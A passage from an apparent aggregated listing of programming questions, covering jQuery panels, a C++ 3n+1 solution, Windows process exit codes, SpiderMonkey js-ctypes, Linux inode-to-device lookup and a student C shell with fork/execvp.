catch (Exception e) { e.printStackTrace(); } } How can I read/get, contento tag attributes? I'm using org.w3c.dom lib.

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• Modify jkpanel to load internal content instead of external content

  - by Adam Stone

  I am using an implementation of jkpanel in a vb.net app, the script (see below) loads an external file into the drop down panel. I need to modify this script to load an internal content like a specific div or span so that I can have this nested within the master page. //Drop Down Panel script (March 29th, 08'): By JavaScript Kit: http://www.javascriptkit.com var jkpanel={ controltext: 'Panel Content', $mainpanel: null, contentdivheight: 0, openclose:function($, speed){ this.$mainpanel.stop() //stop any animation if (this.$mainpanel.attr('openstate')=='closed') this.$mainpanel.animate({top: 0}, speed).attr({openstate: 'open'}) else this.$mainpanel.animate({top: -this.contentdivheight+'px'}, speed).attr({openstate: 'closed'}) }, init:function(file, height, speed){ jQuery(document).ready(function($){ jkpanel.$mainpanel=$('<div id="dropdownpanel"><div class="contentdiv"></div><div class="control">'+jkpanel.controltext+'</div></div>').prependTo('body') var $contentdiv=jkpanel.$mainpanel.find('.contentdiv') var $controldiv=jkpanel.$mainpanel.find('.control').css({cursor: 'wait'}) $contentdiv.load(file, '', function($){ var heightattr=isNaN(parseInt(height))? 'auto' : parseInt(height)+'px' $contentdiv.css({height: heightattr}) jkpanel.contentdivheight=parseInt($contentdiv.get(0).offsetHeight) jkpanel.$mainpanel.css({top:-jkpanel.contentdivheight+'px', visibility:'visible'}).attr('openstate', 'closed') $controldiv.css({cursor:'hand', cursor:'pointer'}) }) jkpanel.$mainpanel.click(function(){jkpanel.openclose($, speed)}) }) } } //Initialize script: jkpanel.init('path_to_content_file', 'height of content DIV in px', animation_duration) jkpanel.init('panelcontent.htm', '200px', 500) Does anybody have any idea on how to modify this to do so or even have any tips or pointers to point me in the right direction to start doing so. Cheers

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• UVA Online Judge 3n+1 : Right answer is Wrong answer

  - by Samuraisoulification

  Ive been toying with this problem for more than a week now, I have optimized it a lot, I seem to be getting the right answer, since it's the same as when I compare it to other's answers that got accepted, but I keep getting wrong answer. Im not sure what's going on! Anyone have any advice? I think it's a problem with the input or the output, cause Im not exactly sure how this judge thing works. So if anyone could pinpoint the problem, and also give me any advice on my code, Id be very appreciative!!! #include <iostream> #include <cstdlib> #include <stdio.h> #include <vector> using namespace std; class Node{ // node for each number that has teh cycles and number private: int number; int cycles; bool cycleset; // so it knows whether to re-set the cycle public: Node(int num){ number = num; cycles = 0; cycleset = false; } int getnumber(){ return number; } int getcycles(){ return cycles; } void setnumber(int num){ number = num; } void setcycles(int num){ cycles = num; cycleset = true; } bool cycled(){ return cycleset; } }; class Cycler{ private: vector<Node> cycleArray; int biggest; int cycleReal(unsigned int number){ // actually cycles through the number int cycles = 1; if (number != 1) { if (number < 1000000) { // makes sure it's in vector bounds if (!cycleArray[number].cycled()) { // sees if it's been cycled if (number % 2 == 0) { cycles += this->cycleReal((number / 2)); } else { cycles += this->cycleReal((3 * number) + 1); } } else { // if cycled get the number of cycles and don't re-calculate, ends recursion cycles = cycleArray[number].getcycles(); } } else { // continues recursing if it's too big for the vector if (number % 2 == 0) { cycles += this->cycleReal((number / 2)); } else { cycles += this->cycleReal((3 * number) + 1); } } } if(number < 1000000){ // sets cycles table for the number in the vector if (!cycleArray[number].cycled()) { cycleArray[number].setcycles(cycles); } } return cycles; } public: Cycler(){ biggest = 0; for(int i = 0; i < 1000000; i++){ // initialize the vector, set the numbers Node temp(i); cycleArray.push_back(temp); } } int cycle(int start, int end){ // cycles thorugh the inputted numbers. int size = 0; for(int i = start; i < end ; i++){ size = this->cycleReal(i); if(size > biggest){ biggest = size; } } int temp = biggest; biggest = 0; return temp; } int getBiggest(){ return biggest; } }; int main() { Cycler testCycler; int i, j; while(cin>>i>>j){ //read in untill \n int biggest = 0; if(i > j){ biggest = testCycler.cycle(j, i); }else{ biggest = testCycler.cycle(i, j); } cout << i << " " << j << " " << biggest << endl; } return 0; }

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• Java multiple class compositing and boiler plate reduction

  - by h2g2java

  We all know why Java does/should not have multiple inheritance. So this is not questioning about what has already been debated till-cows-come-home. This discusses what we would do when we wish to create a class that has the characteristics of two or more other classes. Probably, most of us would do this to "inherit" from three classes. For simplicity, I left out the constructor.: class Car extends Vehicle { final public Transport transport; final public Machine machine; } So that, Car class directly inherits methods and objects of Vehicle class, but would have to refer to transport and machine explicitly to refer to objects instantiated in Transport and Machine. Car car = new Car(); car.drive(); // from Vehicle car.transport.isAmphibious(); // from Transport car.machine.getCO2Footprint(); // from Machine I thought this was a good idea until when I encounter frameworks that require setter and getter methods. For example, the XML <Car amphibious='false' footPrint='1000' model='Fordstatic999'/> would look for the methods setAmphibious(..), setFootPrint(..) and setModel(..). Therefore, I have to project the methods from Transport and Machine classes class Car extends Vehicle { final public Transport transport; final public Machine machine; public void setAmphibious(boolean b){ this.transport.setAmphibious(b); } public void setFootPrint(String fp){ this.machine.setFootPrint(fp); } } This is OK, if there were just a few characteristics. Right now, I am trying to adapt all of SmartGWT into GWT UIBinder, especially those classes that are not a GWT widget. There are lots of characteristics to project. Wouldn't it be nice if there exists some form of annotation framework that is like this: class Car extends Vehicle @projects {Transport @projects{Machine @projects Guzzler}} { /* No need to explicitly instantiate Transport, Machine or Guzzler */ .... } Where, in case of common names of characteristics exist, the characteristics of Machine would take precedence Guzzler's, and Transport's would have precedence over Machine's, and Vehicle's would have precedence over Transport's. The annotation framework would then instantiate Transport, Machine and Guzzler as hidden members of Car and expand to break-out the protected/public characteristics, in the precedence dictated by the @project annotation sequence, into actual source code or into byte-code. Preferably into byte-code. So that the setFootPrint method is found in both Machine and Guzzler, only that of Machine's would be projected. Questions: Don't you think this is a good idea to have such a framework? Does such a framework already exist? Tell me where/what. Is there an eclipse plugin that does it? Is there a proposal or plan anywhere that you know about such an annotation framework? It would be wonderful too, if the annotation/plugin framework lets me specify that boolean, int, or whatever else needs to be converted from String and does the conversion/parsing for me too. Please advise, somebody. I hope wording of my question was clear enough. Thx. Edited: To avoid OO enthusiasts jumping to conclusion, I have renamed the title of this question.

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• 42 passed to TerminateProcess, sometimes GetExitCodeProcess returns 0

  - by Emil

  After I get a handle returned by CreateProcess, I call TerminateProcess, passing 42 for the process exit code. Then, I use WaitForSingleObject for the process to terminate, and finally I call GetExitCodeProcess. None of the function calls report errors. The child process is an infinite loop and does not terminate on its own. The problem is that sometimes GetExitCodeProcess returns 42 for the exit code (as it should) and sometimes it returns 0. Any idea why? #include <string> #include <sstream> #include <iostream> #include <assert.h> #include <windows.h> void check_call( bool result, char const * call ); #define CHECK_CALL(call) check_call(call,#call); int main( int argc, char const * argv[] ) { if( argc>1 ) { assert( !strcmp(argv[1],"inf") ); for(;;) { } } int err=0; for( int i=0; i!=200; ++i ) { STARTUPINFO sinfo; ZeroMemory(&sinfo,sizeof(STARTUPINFO)); sinfo.cb=sizeof(STARTUPINFO); PROCESS_INFORMATION pe; char cmd_line[32768]; strcat(strcpy(cmd_line,argv[0])," inf"); CHECK_CALL((CreateProcess(0,cmd_line,0,0,TRUE,0,0,0,&sinfo,&pe)!=0)); CHECK_CALL((CloseHandle(pe.hThread)!=0)); CHECK_CALL((TerminateProcess(pe.hProcess,42)!=0)); CHECK_CALL((WaitForSingleObject(pe.hProcess,INFINITE)==WAIT_OBJECT_0)); DWORD ec=0; CHECK_CALL((GetExitCodeProcess(pe.hProcess,&ec)!=0)); CHECK_CALL((CloseHandle(pe.hProcess)!=0)); err += (ec!=42); } std::cout << err; return 0; } std::string get_last_error_str( DWORD err ) { std::ostringstream s; s << err; LPVOID lpMsgBuf=0; if( FormatMessageA( FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM|FORMAT_MESSAGE_IGNORE_INSERTS, 0, err, MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT), (LPSTR)&lpMsgBuf, 0, 0) ) { assert(lpMsgBuf!=0); std::string msg; try { std::string((LPCSTR)lpMsgBuf).swap(msg); } catch( ... ) { } LocalFree(lpMsgBuf); if( !msg.empty() && msg[msg.size()-1]=='\n' ) msg.resize(msg.size()-1); if( !msg.empty() && msg[msg.size()-1]=='\r' ) msg.resize(msg.size()-1); s << ", \"" << msg << '"'; } return s.str(); } void check_call( bool result, char const * call ) { assert(call && *call); if( !result ) { std::cerr << call << " failed.\nGetLastError:" << get_last_error_str(GetLastError()) << std::endl; exit(2); } }

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• Pointers in C# to make int array?

  - by Joshua

  The following C++ program compiles and runs as expected: #include <stdio.h> int main(int argc, char* argv[]) { int* test = new int[10]; for (int i = 0; i < 10; i++) test[i] = i * 10; printf("%d \n", test[5]); // 50 printf("%d \n", 5[test]); // 50 return getchar(); } The closest C# simple example I could make for this question is: using System; class Program { unsafe static int Main(string[] args) { // error CS0029: Cannot implicitly convert type 'int[]' to 'int*' int* test = new int[10]; for (int i = 0; i < 10; i++) test[i] = i * 10; Console.WriteLine(test[5]); // 50 Console.WriteLine(5[test]); // Error return (int)Console.ReadKey().Key; } } So how do I make the pointer?

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• How to provide js-ctypes in a spidermonkey embedding?

  - by Triston J. Taylor

  Summary I have looked over the code the SpiderMonkey 'shell' application uses to create the ctypes JavaScript object, but I'm a less-than novice C programmer. Due to the varying levels of insanity emitted by modern build systems, I can't seem to track down the code or command that actually links a program with the desired functionality. method.madness This js-ctypes implementation by The Mozilla Devs is an awesome addition. Since its conception, scripting has been primarily used to exert control over more rigorous and robust applications. The advent of js-ctypes to the SpiderMonkey project, enables JavaScript to stand up and be counted as a full fledged object oriented rapid application development language flying high above 'the bar' set by various venerable application development languages such as Microsoft's VB6. Shall we begin? I built SpiderMonkey with this config: ./configure --enable-ctypes --with-system-nspr followed by successful execution of: make && make install The js shell works fine and a global ctypes javascript object was verified operational in that shell. Working with code taken from the first source listing at How to embed the JavaScript Engine -MDN, I made an attempt to instantiate the JavaScript ctypes object by inserting the following code at line 66: /* Populate the global object with the ctypes object. */ if (!JS_InitCTypesClass(cx, global)) return NULL; /* I compiled with: g++ $(./js-config --cflags --libs) hello.cpp -o hello It compiles with a few warnings: hello.cpp: In function ‘int main(int, const char**)’: hello.cpp:69:16: warning: converting to non-pointer type ‘int’ from NULL [-Wconversion-null] hello.cpp:80:20: warning: deprecated conversion from string constant to ‘char*’ [-Wwrite-strings] hello.cpp:89:17: warning: NULL used in arithmetic [-Wpointer-arith] But when you run the application: ./hello: symbol lookup error: ./hello: undefined symbol: JS_InitCTypesClass Moreover JS_InitCTypesClass is declared extern in 'dist/include/jsapi.h', but the function resides in 'ctypes/CTypes.cpp' which includes its own header 'CTypes.h' and is compiled at some point by some command during 'make' to yeild './CTypes.o'. As I stated earlier, I am less than a novice with the C code, and I really have no idea what to do here. Please give or give direction to a generic example of making the js-ctypes object functional in an embedding.

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• Inode to device information

  - by Methos

  I have 3 questions: I want to figure out if a file belongs to a USB device given the file inode. By looking in the latest kernel sources (2.6.33) on LXR, I think one can find that information by following pointers as follows: inode-super_block-block_device-backing_dev_info-device-device_driver(or device_type). However, the kernel that I am working with - 2.6.22.14 - does not have struct device pointer in the backing_dev_info object. So how can I figure out to which device does a file belong to from just the inode? I see that each of the inode, super_block and block_device contain an object of type 'dev_t'. But even after searching a lot, I could not find out how to convert 'dev_t' into struct device *. Is there any way to get that infomation? I tried to print device major and minor numbers using imajor(inode) and iminor(inode). However, for every file - belonging to hdd or usb - it always prints major and minor number as zero. Why would that be happening? I searched online for USB major numbers and I found out that major number for a USB is 180. However, on multiple machines, it showed me the major number associated with the USB dev as 253. $ ls -ltr /dev/usb* crw-rw---- 1 root root 253, 4 2010-04-13 17:20 /dev/usbmon4 crw-rw---- 1 root root 253, 3 2010-04-13 17:20 /dev/usbmon3 crw-rw---- 1 root root 253, 8 2010-04-13 17:20 /dev/usbmon8 crw-rw---- 1 root root 253, 5 2010-04-13 17:20 /dev/usbmon5 crw-rw---- 1 root root 253, 1 2010-04-13 17:20 /dev/usbmon1 crw-rw---- 1 root root 253, 7 2010-04-13 17:20 /dev/usbmon7 Why is that so?

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• Help with simple linux shell implementation

  - by nunos

  I am implementing a simple version of a linux shell in c. I have succesfully written the parser, but I am having some trouble forking out the child process. However, I think the problem is due to arrays, pointers and such, because just started C with this project and am not still very knowledgable with them. I am getting a segmentation fault and don't know where from. Any help is greatly appreciated. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/wait.h> #include <sys/types.h> #define MAX_COMMAND_LENGTH 250 #define MAX_ARG_LENGTH 250 typedef enum {false, true} bool; typedef struct { char **arg; char *infile; char *outfile; int background; } Command_Info; int parse_cmd(char *cmd_line, Command_Info *cmd_info) { char *arg; char *args[MAX_ARG_LENGTH]; int i = 0; arg = strtok(cmd_line, " "); while (arg != NULL) { args[i] = arg; arg = strtok(NULL, " "); i++; } int num_elems = i; if (num_elems == 0) return -1; cmd_info->infile = NULL; cmd_info->outfile = NULL; cmd_info->background = 0; int iarg = 0; for (i = 0; i < num_elems-1; i++) { if (!strcmp(args[i], "<")) { if (args[i+1] != NULL) cmd_info->infile = args[++i]; else return -1; } else if (!strcmp(args[i], ">")) { if (args[i+1] != NULL) cmd_info->outfile = args[++i]; else return -1; } else cmd_info->arg[iarg++] = args[i]; } if (!strcmp(args[i], "&")) cmd_info->background = true; else cmd_info->arg[iarg++] = args[i]; cmd_info->arg[iarg] = NULL; return 0; } void print_cmd(Command_Info *cmd_info) { int i; for (i = 0; cmd_info->arg[i] != NULL; i++) printf("arg[%d]=\"%s\"\n", i, cmd_info->arg[i]); printf("arg[%d]=\"%s\"\n", i, cmd_info->arg[i]); printf("infile=\"%s\"\n", cmd_info->infile); printf("outfile=\"%s\"\n", cmd_info->outfile); printf("background=\"%d\"\n", cmd_info->background); } void get_cmd(char* str) { fgets(str, MAX_COMMAND_LENGTH, stdin); str[strlen(str)-1] = '\0'; //apaga o '\n' do fim } pid_t exec_simple(Command_Info *cmd_info) { pid_t pid = fork(); if (pid < 0) { perror("Fork Error"); return -1; } if (pid == 0) { execvp(cmd_info->arg[0], cmd_info->arg); perror(cmd_info->arg[0]); exit(1); } return pid; } int main(int argc, char* argv[]) { while (true) { char cmd_line[MAX_COMMAND_LENGTH]; Command_Info cmd_info; printf(">>> "); get_cmd(cmd_line); if ( (parse_cmd(cmd_line, &cmd_info) == -1) ) return -1; parse_cmd(cmd_line, &cmd_info); if (!strcmp(cmd_info.arg[0], "exit")) exit(0); pid_t pid = exec_simple(&cmd_info); waitpid(pid, NULL, 0); } return 0; } Thanks.

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